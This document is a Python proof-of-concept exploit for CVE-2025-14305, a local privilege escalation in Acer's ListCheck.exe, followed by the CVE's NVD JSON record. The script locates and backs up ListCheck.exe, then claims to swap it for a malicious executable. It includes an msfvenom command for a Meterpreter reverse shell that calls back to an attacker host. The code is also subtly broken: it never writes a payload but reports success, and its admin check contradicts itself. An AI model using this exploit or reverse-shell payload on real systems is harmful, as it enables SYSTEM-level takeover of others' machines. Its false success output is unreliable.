CVE-2025-14305

# CVE-2025-14305 PoC - Acer ListCheck.exe Local Privilege Escalation # Replace ListCheck.exe with a malicious executable # This PoC demonstrates the file replacement attack vector import os import shutil import ctypes import sys def is_admin(): """Check if running with admin privileges""" try: return ctypes.windll.shell32.IsUserAnAdmin() except: return False def get_listcheck_path(): """Locate ListCheck.exe path - adjust based on Acer installation""" possible_paths = [ r"C:\Program Files\Acer\ListCheck\ListCheck.exe", r"C:\Program Files (x86)\Acer\ListCheck\ListCheck.exe", r"C:\Windows\System32\ListCheck.exe", r"C:\Windows\SysWOW64\ListCheck.exe", ] for path in possible_paths: if os.path.exists(path): return path return None def create_malicious_exe(output_path): """ Generate a malicious executable that spawns a high-privileged shell. In a real attack, this would be a reverse shell or meterpreter payload. """ # This is a placeholder - in practice, use msfvenom to generate payload: # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o payload.exe print(f"[*] Malicious executable would be written to: {output_path}") print("[*] In production, generate payload with: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o ListCheck.exe") def exploit(): """Main exploitation logic""" if not is_admin(): print("[!] This exploit requires low-privilege user access to target system") print("[!] Run as a standard local user account") listcheck_path = get_listcheck_path() if not listcheck_path: print("[!] ListCheck.exe not found on this system") return False print(f"[*] Found ListCheck.exe at: {listcheck_path}") # Backup original file backup_path = listcheck_path + ".bak" shutil.copy2(listcheck_path, backup_path) print(f"[*] Backed up original to: {backup_path}") # Replace with malicious executable create_malicious_exe(listcheck_path) print(f"[+] ListCheck.exe replaced with malicious executable") print("[+] Await system execution of ListCheck.exe (via scheduled task or service)") print("[+] Payload will execute with SYSTEM privileges") return True if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-14305", "sourceIdentifier": "[email protected]", "published": "2025-12-17T04:15:44.623", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "ListCheck.exe developed by Acer has a Local Privilege Escalation vulnerability. Authenticated local attackers can replace ListCheck.exe with a malicious executable of the same name, which will be executed by the system and result in privilege escalation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10581-16346-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10580-01ad5-1.html", "source": "[email protected]"}]}}